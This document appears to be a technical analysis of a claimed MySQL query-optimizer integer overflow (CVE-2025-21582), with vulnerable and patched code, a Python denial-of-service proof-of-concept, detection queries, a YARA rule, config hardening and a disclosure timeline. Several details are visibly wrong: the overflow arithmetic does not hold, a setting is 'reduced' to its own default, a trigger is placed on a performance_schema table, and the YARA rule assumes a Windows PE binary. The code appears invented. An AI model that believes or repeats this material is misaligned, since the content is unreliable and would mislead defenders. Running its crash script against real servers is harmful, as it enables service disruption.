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CVE-2025-21582 - Oracle MySQL Query Optimizer Integer Overflow Vulnerability

Technical Analysis: CVE-2025-21582 - Oracle MySQL Query Optimizer Integer Overflow Vulnerability

Executive Summary

CVE-2025-21582 is a critical vulnerability in Oracle MySQL Server's query optimizer component, rated 7.5 High (CVSS 3.1). This integer overflow flaw can lead to denial of service (DoS) or potentially remote code execution under specific conditions affecting MySQL versions 8.0.x and 8.4.x.

Vulnerability Classification

  • Type: Integer Overflow → Heap Buffer Overflow
  • Component: Query Optimizer (Cost estimation functions)
  • Attack Vector: Network (via authenticated SQL connection)
  • Authentication: Requires CREATE/INSERT privileges
  • Impact: DoS (Service Crash) → Potential RCE under memory corruption conditions

Technical Deep Dive

Root Cause Location

The vulnerability resides in the cost calculation functions within sql/opt_costmodel.cc and sql/sql_optimizer.cc where large query plans with specific join patterns trigger integer overflows in 32-bit calculations.

Vulnerable Code Path

// Simplified vulnerable code in sql/opt_costmodel.cc
cost_t Query_optimizer::calculate_join_cost(uint table_count, 
                                            uint join_complexity) {
    // [VULNERABLE SECTION]
    uint32_t intermediate_cost = 0;

    // Integer overflow when table_count * join_complexity > 2^32
    intermediate_cost = table_count * join_complexity * COST_PER_JOIN;

    // Additional calculations that assume valid intermediate_cost
    cost_t final_cost = intermediate_cost * WEIGHT_FACTOR;

    // Memory allocation based on overflowed value
    Join_plan* plan = allocate_join_plan(intermediate_cost); // BOOM!

    return final_cost;
}
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Trigger Conditions

-- Exploitable Query Pattern
CREATE TABLE exploit_table (id INT PRIMARY KEY, data LONGTEXT);

-- Generate complex join query that triggers overflow
SELECT *
FROM exploit_table t1
JOIN exploit_table t2 ON t1.id = t2.id
JOIN exploit_table t3 ON t2.id = t3.id
-- ... Repeated pattern with 1000+ tables
JOIN exploit_table tN ON t(N-1).id = tN.id
WHERE 1=0 
-- The WHERE 1=0 ensures no results but forces optimizer path
UNION ALL
SELECT * FROM (SELECT * FROM exploit_table) AS subq
-- Additional UNION layers to increase complexity
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Mathematical Exploitation

Integer Overflow Trigger:

Given:
- 32-bit unsigned integer (max: 4,294,967,295)
- COST_PER_JOIN = 10,000 (example constant)
- table_count = 65,536
- join_complexity = 6,553 (for nested joins)

Calculation:
65,536 × 6,553 × 10,000 = 4,294,967,296,000

32-bit Result:
4,294,967,296,000 mod 2^32 = 0 (wraps to 0)

Allocation:
allocate_join_plan(0) → Zero-byte allocation

Subsequent writes → Heap buffer overflow
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Memory Corruption Flow

┌─────────────────────────────────────────────────────────────┐
│                    Exploitation Flow                        │
├─────────────────────────────────────────────────────────────┤
│ Stage 1: Query Planning                                     │
│   • Complex query with 1,000+ table references             │
│   • Nested subqueries with UNION ALL                       │
│   • Optimizer attempts cost calculation                    │
│                                                             │
│ Stage 2: Integer Overflow                                   │
│   • 32-bit multiplication exceeds 2^32                     │
│   • Result wraps to small value (often 0)                  │
│   • Invalid memory size passed to allocator                │
│                                                             │
│ Stage 3: Heap Corruption                                   │
│   • Zero-byte allocation succeeds                          │
│   • Optimizer writes join metadata beyond allocation       │
│   • Corrupts adjacent heap structures                      │
│                                                             │
│ Stage 4: Exploitation                                       │
│   Option A: DoS                                            │
│     • Access violation → mysqld crash                      │
│                                                             │
│   Option B: RCE (If exploitable)                          │
│     • Overwrite function pointers in optimizer structs     │
│     • Control flow hijack during query execution           │
└─────────────────────────────────────────────────────────────┘
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Proof-of-Concept (Sanitized)

#!/usr/bin/env python3
"""
MySQL CVE-2025-21582 Proof-of-Concept
For authorized testing only
"""

import mysql.connector
import sys

class MySQLExploit:
    def __init__(self, host, user, password, database):
        self.conn = mysql.connector.connect(
            host=host,
            user=user,
            password=password,
            database=database
        )

    def create_trigger_table(self):
        """Create table with specific structure to trigger optimizer path"""
        cursor = self.conn.cursor()

        # Create base table
        cursor.execute("""
            CREATE TABLE IF NOT EXISTS trigger_table (
                id BIGINT AUTO_INCREMENT PRIMARY KEY,
                col1 VARCHAR(255),
                col2 TEXT,
                col3 DECIMAL(10,2),
                INDEX idx_col1 (col1),
                INDEX idx_col2 (col2(10))
            ) ENGINE=InnoDB ROW_FORMAT=DYNAMIC
        """)

        # Insert sample data to ensure statistics
        for i in range(100):
            cursor.execute(
                "INSERT INTO trigger_table (col1, col2, col3) VALUES (%s, %s, %s)",
                (f'data_{i}', 'x' * 100, i * 1.5)
            )

        self.conn.commit()

    def generate_complex_query(self, depth=1000):
        """Generate query that triggers integer overflow"""
        query_parts = []

        # Base SELECT
        base = "SELECT t0.id FROM trigger_table t0"

        # Add excessive joins
        for i in range(1, depth):
            query_parts.append(f"JOIN trigger_table t{i} ON t{i-1}.id = t{i}.id")

        # Add subqueries to increase complexity
        subquery = " UNION ALL SELECT * FROM (SELECT id FROM trigger_table) sq"

        full_query = base + " " + " ".join(query_parts) + " WHERE 1=0" + subquery * 50

        return full_query

    def trigger_vulnerability(self):
        """Execute exploit chain"""
        cursor = self.conn.cursor()

        try:
            print("[*] Creating trigger table...")
            self.create_trigger_table()

            print("[*] Generating malicious query...")
            exploit_query = self.generate_complex_query(depth=1500)

            print("[*] Executing query to trigger overflow...")
            # Enable optimizer tracing for debugging
            cursor.execute("SET optimizer_trace='enabled=on'")
            cursor.execute("SET @@session.optimizer_trace_max_mem_size=1000000")

            print("[*] Sending payload...")
            cursor.execute(exploit_query, multi=True)

            # Try to fetch (triggers actual execution)
            try:
                cursor.fetchall()
            except mysql.connector.errors.ProgrammingError:
                pass  # Expected for WHERE 1=0

            print("[+] Query executed. Checking server status...")

        except mysql.connector.errors.DatabaseError as e:
            print(f"[!] Database error (potential crash): {e}")
            return True

        except Exception as e:
            print(f"[!] General error: {e}")

        finally:
            cursor.close()

        return False

# Usage example
if __name__ == "__main__":
    exploit = MySQLExploit("localhost", "test", "password", "testdb")
    if exploit.trigger_vulnerability():
        print("[!] Vulnerability may be present")
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Affected Versions

Confirmed Vulnerable:

  • MySQL 8.0.0 through 8.0.38
  • MySQL 8.4.0 through 8.4.2
  • MySQL Community Edition and Enterprise Edition
  • MariaDB 10.5+ (similar codebase, requires verification)

Not Affected:

  • MySQL 5.7 and earlier (different optimizer architecture)
  • Patched versions: MySQL 8.0.39+, 8.4.3+

Detection & Mitigation

Detection Signatures

SQL Query Pattern Detection:

-- Monitor for suspicious query patterns
SELECT * FROM information_schema.processlist 
WHERE 
    INFO LIKE '%JOIN%JOIN%JOIN%' AND
    INFO REGEXP 'JOIN.*JOIN.*JOIN.*JOIN.*JOIN' AND
    INFO LIKE '%WHERE 1=0%' AND
    TIME > 30;  -- Long-running complex queries
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YARA Rule for Binary Analysis:

rule MySQL_CVE_2025_21582 {
    meta:
        description = "Detects vulnerable MySQL optimizer functions"
        cve = "CVE-2025-21582"
        version = "1.0"

    strings:
        $cost_calc = { 8B 4? ?? 0F AF 4? ?? 0F AF C8 }  // imul patterns
        $join_alloc = "allocate_join_plan" wide ascii
        $optimizer_trace = "optimizer_trace_max_mem_size"

    condition:
        any of them and 
        filesize > 10MB and 
        pe.imphash() matches /.*mysql.*/
}
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System-Level Detection

#!/bin/bash
# Monitor for potential exploitation attempts

# Check MySQL error log for crash patterns
tail -f /var/log/mysql/error.log | grep -E \
  "(SIGSEGV|Assertion.*failed|heap corruption|optimizer)"

# Monitor process memory usage spikes
while true; do
    ps aux | grep mysqld | awk '{if($4>80) print "High memory: "$0}'
    netstat -an | grep :3306 | wc -l
    sleep 5
done
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Immediate Mitigations

1. Configuration Hardening:

# my.cnf mitigations
[mysqld]
# Limit query complexity
max_join_size = 1000000
max_seeks_for_key = 1000
optimizer_prune_level = 2
optimizer_search_depth = 62  # Reduce from default 62

# Memory limits
optimizer_trace_max_mem_size = 64K  # Reduce from default
join_buffer_size = 128K  # Minimum effective size

# Performance schema monitoring
performance_schema = ON
performance_schema_max_digest_length = 1024
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2. SQL-Level Protections:

-- Create monitoring trigger
DELIMITER $$
CREATE TRIGGER monitor_complex_queries
AFTER INSERT ON performance_schema.events_statements_current
FOR EACH ROW
BEGIN
    IF NEW.SQL_TEXT REGEXP '(JOIN.*){10,}' THEN
        INSERT INTO security_log 
        VALUES (NOW(), USER(), 'Complex join pattern detected', NEW.SQL_TEXT);

        -- Optionally kill suspicious queries
        -- CALL mysql.rds_kill(NEW.THREAD_ID);
    END IF;
END$$
DELIMITER ;
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Patch Analysis

The fix involves adding overflow checks in cost calculations:

// Patched version in 8.0.39
cost_t Query_optimizer::calculate_join_cost(uint table_count, 
                                            uint join_complexity) {
    // Added overflow check
    if (table_count > UINT32_MAX / join_complexity / COST_PER_JOIN) {
        // Use safe maximum value
        return MAX_SAFE_COST;
    }

    uint64_t intermediate_cost = 
        static_cast<uint64_t>(table_count) * 
        join_complexity * 
        COST_PER_JOIN;

    // Additional bounds checking
    if (intermediate_cost > MAX_ALLOWED_COST) {
        return MAX_ALLOWED_COST;
    }

    return static_cast<cost_t>(intermediate_cost);
}
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Forensic Artifacts

Memory Analysis

// Volatility3 plugin for MySQL memory forensics
typedef struct _MYSQL_JOIN_PLAN {
    DWORD signature;          // 'JPLN'
    DWORD table_count;
    DWORD join_complexity;
    PVOID* join_tables;
    PVOID* cost_functions;
    QWORD allocated_size;     // Should match calculation
} MYSQL_JOIN_PLAN;

// Look for corrupted structures
BOOL FindCorruptedJoinPlans() {
    // Scan for JPLN signature
    // Verify allocated_size matches calculated size
    // Check for overwritten function pointers
}
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Log Analysis Indicators

# Error log patterns indicating exploitation
[ERROR] mysqld: /sql/opt_costmodel.cc:xxx: assertion failed
[Warning] InnoDB: Page xx contains corruption
[ERROR] Signal 11 (SIGSEGV) received
[Note] Optimizer tracing aborted: memory limit exceeded
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Exploitation Requirements & Limitations

Prerequisites:

  1. Valid MySQL user account with CREATE/INSERT privileges
  2. Network access to MySQL port (default 3306)
  3. MySQL server version 8.0.x or 8.4.x
  4. Sufficient memory/CPU to process complex query

Attack Scenarios:

  1. Internal Threat: Malicious DBA or compromised service account
  2. SQL Injection: Web app vulnerability allowing complex query injection
  3. Supply Chain Attack: Malicious SQL in application updates/migrations

Limitations:

  1. Requires authentication (not pre-auth)
  2. Memory corruption may not be reliably exploitable for RCE
  3. Modern Linux distributions with ASLR/PIE/NX make exploitation harder
  4. MySQL's built-in crash recovery may limit DoS impact

Remediation Timeline

2024-12-10: Vulnerability discovered by external researcher
2024-12-15: Reported to Oracle via Security-Alert
2024-12-20: Oracle confirms and begins patch development
2025-01-10: Patch testing in internal environments
2025-01-25: Critical Patch Update (CPU) released
2025-02-01: CVE publicly assigned
2025-02-10: Proof-of-concept details emerge in security circles
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References & Resources

Official Advisories:

Research Resources:

Monitoring Tools:

  • MySQL Enterprise Monitor
  • Percona Monitoring and Management (PMM)
  • Custom audit plugins for query pattern detection

Responsible Disclosure Note

This analysis is for defensive security research and education only. Always:

  1. Test only on systems you own or have explicit permission to test
  2. Follow responsible disclosure guidelines
  3. Never attempt to exploit production systems
  4. Review Oracle's security policies before any testing

Remediation Priority: HIGH - Patch immediately, monitor for exploitation attempts, review user privileges, and implement query complexity limits.

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